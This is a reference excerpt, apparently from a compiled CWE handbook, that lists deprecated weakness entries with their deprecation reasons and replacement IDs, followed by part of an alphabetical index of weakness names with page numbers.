## CWE-373: DEPRECATED: State Synchronization Error

CWE ID : 373

Status: Deprecated

### Description

This entry was deprecated because it overlapped the same concepts as race condition (CWE-362) and Improper Synchronization (CWE-662).

## CWE-376: DEPRECATED: Temporary File Issues

CWE ID : 376

Status: Deprecated

### Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. Consider using the File Handling Issues category (CWE-1219).

## CWE-380: DEPRECATED: Technology-Specific Time and State Issues

CWE ID : 380

Status: Deprecated

### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

## CWE-381: DEPRECATED: J2EE Time and State Issues

CWE ID : 381

Status: Deprecated

### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

## CWE-418: DEPRECATED: Channel Errors

CWE ID : 418

Status: Deprecated

### Summary

This category has been deprecated because it redundant with the grouping provided by CWE-417.

## CWE-423: DEPRECATED (Duplicate): Proxied Trusted Channel

CWE ID : 423

Status: Deprecated

### Description

This entry has been deprecated because it was a duplicate of CWE-441. All content has been transferred to CWE-441.

---

## **CWE-442: DEPRECATED: Web Problems**

CWE ID : 442

Status: Deprecated

### **Summary**

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

## **CWE-443: DEPRECATED (Duplicate): HTTP response splitting**

CWE ID : 443

Status: Deprecated

### **Description**

This weakness can be found at CWE-113.

---

## **CWE-445: DEPRECATED: User Interface Errors**

CWE ID : 445

Status: Deprecated

### **Summary**

This weakness has been deprecated because it was a duplicate of CWE-355. All content has been transferred to CWE-355.

---

## **CWE-458: DEPRECATED: Incorrect Initialization**

CWE ID : 458

Status: Deprecated

### **Description**

This weakness has been deprecated because its name and description did not match. The description duplicated CWE-454, while the name suggested a more abstract initialization problem. Please refer to CWE-665 for the more abstract problem.

---

## **CWE-461: DEPRECATED: Data Structure Issues**

CWE ID : 461

Status: Deprecated

### **Summary**

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

---

## CWE-490: DEPRECATED: Mobile Code Issues

CWE ID : 490

Status: Deprecated

### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

## CWE-503: DEPRECATED: Byte/Object Code

CWE ID : 503

Status: Deprecated

### Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

## CWE-504: DEPRECATED: Motivation/Intent

CWE ID : 504

Status: Deprecated

### Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

## CWE-505: DEPRECATED: Intentionally Introduced Weakness

CWE ID : 505

Status: Deprecated

### Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

## CWE-513: DEPRECATED: Intentionally Introduced Nonmalicious Weakness

CWE ID : 513

Status: Deprecated

### Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

## CWE-516: DEPRECATED (Duplicate): Covert Timing Channel

CWE ID : 516

Status: Deprecated

### Description

---

This weakness can be found at CWE-385.

---

### **CWE-517: DEPRECATED: Other Intentional, Nonmalicious Weakness**

CWE ID : 517

Status: Deprecated

#### **Summary**

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

### **CWE-518: DEPRECATED: Inadvertently Introduced Weakness**

CWE ID : 518

Status: Deprecated

#### **Summary**

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

### **CWE-519: DEPRECATED: .NET Environment Issues**

CWE ID : 519

Status: Deprecated

#### **Summary**

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

### **CWE-533: DEPRECATED: Information Exposure Through Server Log Files**

CWE ID : 533

Status: Deprecated

#### **Description**

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

---

### **CWE-534: DEPRECATED: Information Exposure Through Debug Log Files**

CWE ID : 534

Status: Deprecated

#### **Description**

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

---

### **CWE-542: DEPRECATED: Information Exposure Through Cleanup Log Files**

CWE ID : 542

Status: Deprecated

## Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

## CWE-545: DEPRECATED: Use of Dynamic Class Loading

CWE ID : 545

Status: Deprecated

## Description

This weakness has been deprecated because it partially overlaps CWE-470, it describes legitimate programmer behavior, and other portions will need to be integrated into other entries.

## CWE-559: DEPRECATED: Often Misused: Arguments and Parameters

CWE ID : 559

Status: Deprecated

## Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

## CWE-592: DEPRECATED: Authentication Bypass Issues

CWE ID : 592

Status: Deprecated

## Description

This weakness has been deprecated because it covered redundant concepts already described in CWE-287.

## CWE-596: DEPRECATED: Incorrect Semantic Object Comparison

CWE ID : 596

Status: Deprecated

## Description

This weakness has been deprecated. It was poorly described and difficult to distinguish from other entries. It was also inappropriate to assign a separate ID solely because of domain-specific considerations. Its closest equivalent is CWE-1023.

## CWE-630: DEPRECATED: Weaknesses Examined by SAMATE

CWE ID : 630

Status: Deprecated

## Objective

This view has been deprecated. It was only used for an early year of the NIST SAMATE project, and it did not represent any official or commonly-utilized list.

## **CWE-631: DEPRECATED: Resource-specific Weaknesses**

CWE ID : 631

Status: Deprecated

### **Objective**

This view has been deprecated because it is not actively maintained and does not provide utility to stakeholders. It was originally created before CWE 1.0 as a simple example of how views could be structured within CWE.

---

## **CWE-632: DEPRECATED: Weaknesses that Affect Files or Directories**

CWE ID : 632

Status: Deprecated

### **Summary**

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

---

## **CWE-633: DEPRECATED: Weaknesses that Affect Memory**

CWE ID : 633

Status: Deprecated

### **Summary**

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

---

## **CWE-634: DEPRECATED: Weaknesses that Affect System Processes**

CWE ID : 634

Status: Deprecated

### **Summary**

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

---

## **CWE-679: DEPRECATED: Chain Elements**

CWE ID : 679

Status: Deprecated

### **Objective**

This view has been deprecated. It has limited utility for stakeholders, since all weaknesses can be links in a chain.

---

## **CWE-769: DEPRECATED: Uncontrolled File Descriptor Consumption**

CWE ID : 769

Status: Deprecated

---

### Description

This entry has been deprecated because it was a duplicate of CWE-774. All content has been transferred to CWE-774.

---

## **CWE-1187: DEPRECATED: Use of Uninitialized Resource**

**CWE ID :** 1187

**Status:** Deprecated

### Description

This entry has been deprecated because it was a duplicate of CWE-908. All content has been transferred to CWE-908.

---

## **Glossary**

  - Trapdoor, 1080
  - Trojan Horse, 1077
  - Truncation of Security-relevant Information, 512
  - Trust Boundary Violation, 1069
  - Trust of System Event Data, 790
  - Trusting HTTP Permission Methods on the Server Side, 1272
  - Type Errors, 1779
- U**
- UI Discrepancy for Security Feature, 955
  - Uncaught Exception, 544
  - Uncaught Exception in Servlet , 1191
  - Unchecked Error Condition, 848
  - Unchecked Input for Loop Condition, 1204
  - Unchecked Return Value, 552
  - Unchecked Return Value to NULL Pointer Dereference, 1336
  - Unconditional Control Flow Transfer outside of Switch Block, 1672
  - Uncontrolled Memory Allocation, 1470
  - Uncontrolled Recursion, 1311
  - Uncontrolled Resource Consumption, 862
  - Uncontrolled Search Path Element, 921
  - Undefined Behavior for Input to API, 1006
  - Unexpected Sign Extension, 453
  - Unexpected Status Code or Return Value, 854
  - Unimplemented or Unsupported Feature in UI, 956
  - Unintended Proxy or Intermediary ('Confused Deputy'), 948
  - UNIX Hard Link, 112
  - UNIX Symbolic Link (Symlink) Following, 110
  - Unlock of a Resource that is not Locked, 1538
  - Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism'), 1244
  - Unparsed Raw Web Content Delivery, 932
  - Unprotected Alternate Channel, 908
  - Unprotected Primary Channel, 906
  - Unprotected Storage of Credentials, 561
  - Unprotected Transport of Credentials, 1093
  - Unprotected Windows Messaging Channel ('Shatter'), 910
  - Unquoted Search Path or Element, 925
  - Unrestricted Externally Accessible Lock, 892
  - Unrestricted Upload of File with Dangerous Type, 934
  - Unsafe ActiveX Control Marked Safe For Scripting, 1231
  - Unsigned to Signed Conversion Error, 459
  - Unsynchronized Access to Shared Data in a Multithreaded Context, 1142
  - Untrusted Pointer Dereference, 1511
  - Untrusted Search Path, 916
  - Unverified Ownership, 617
  - Unverified Password Change, 1226
  - URL Redirection to Untrusted Site ('Open Redirect'), 1192
  - Use After Free, 902
  - Use of a Broken or Risky Cryptographic Algorithm, 719
  - Use of a Key Past its Expiration Date, 713
  - Use of a Non-reentrant Function in a Concurrent Context, 1287
  - Use of a One-Way Hash with a Predictable Salt, 1396
  - Use of a One-Way Hash without a Salt, 1391
  - Use of a Risky Cryptographic Primitive, 1754
  - Use of Cache Containing Sensitive Information, 1094
  - Use of Client-Side Authentication, 1201
  - Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG), 747
  - Use of Expired File Descriptor, 1580
  - Use of Externally-Controlled Format String, 334
  - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'), 994
  - Use of Function with Inconsistent Implementations, 1004
  - Use of GET Request Method With Sensitive Query Strings, 1188
  - Use of getlogin() in Multithreaded Application, 1128
  - Use of Hard-coded Credentials, 1483
  - Use of Hard-coded Cryptographic Key, 707
  - Use of Hard-coded Password, 568
  - Use of Hard-coded, Security-relevant Constants, 1118
  - Use of Implicit Intent for Sensitive Communication, 1607
  - Use of Incorrect Byte Ordering, 464
  - Use of Incorrect Operator, 1021
  - Use of Incorrectly-Resolved Name or Reference, 1357
  - Use of Inherently Dangerous Function, 535
  - Use of Inner Class Containing Sensitive Data, 1044
  - Use of Insufficiently Random Values, 729
  - Use of Invariant Value in Dynamically Changing Context, 756
  - Use of Less Trusted Source, 764
  - Use of Low-Level Functionality, 1344
  - Use of Multiple Resources with Duplicate Identifier, 1343
  - Use of Non-Canonical URL Paths for Authorization Decisions, 1266
  - Use of NullPointerException Catch to Detect NULL Pointer Dereference, 856
  - Use of Object without Invoking Destructor Method, 1687
  - Use of Obsolete Function, 1013
  - Use of Out-of-range Pointer Offset, 1514
  - Use of Password Hash Instead of Password for Authentication, 1545
  - Use of Password Hash With Insufficient Computational Effort, 1590
  - Use of Password System for Primary Authentication, 682
  - Use of Path Manipulation Function without Maximum-sized Buffer, 1455
  - Use of Persistent Cookies Containing Sensitive Information, 1110
  - Use of Platform-Dependent Third Party Components, 1698
  - Use of Pointer Subtraction to Determine Size, 992
  - Use of Potentially Dangerous Function, 1314
  - Use of Predictable Algorithm in Random Number Generator, 1756
  - Use of Prohibited Code, 1720
  - Use of Redundant Code, 1639
  - Use of RSA Algorithm without OAEP, 1444
  - Use of Same Invokable Control Element in Multiple Architectural Layers, 1688
  - Use of Same Variable for Multiple Purposes, 1702
  - Use of Single-factor Authentication, 680
  - Use of Singleton Pattern Without Synchronization in a Multithreaded Context, 1113
  - Use of sizeof() on a Pointer Type, 988
  - Use of umask() with chmod-style Argument, 1130
  - Use of Uninitialized Resource, 1574
  - Use of Uninitialized Variable, 973
  - Use of Unmaintained Third Party Components, 1698
  - Use of Web Browser Cache Containing Sensitive Information, 1095
  - Use of Web Link to Untrusted Target with window.opener Access, 1629
  - Use of Wrong Operator in String Comparison, 1187
  - User Interface (UI) Misrepresentation of Critical Information, 960
  - User Interface Security Issues, 1788
  - User Session Errors, 1943
  - Using Referer Field for Authentication, 643
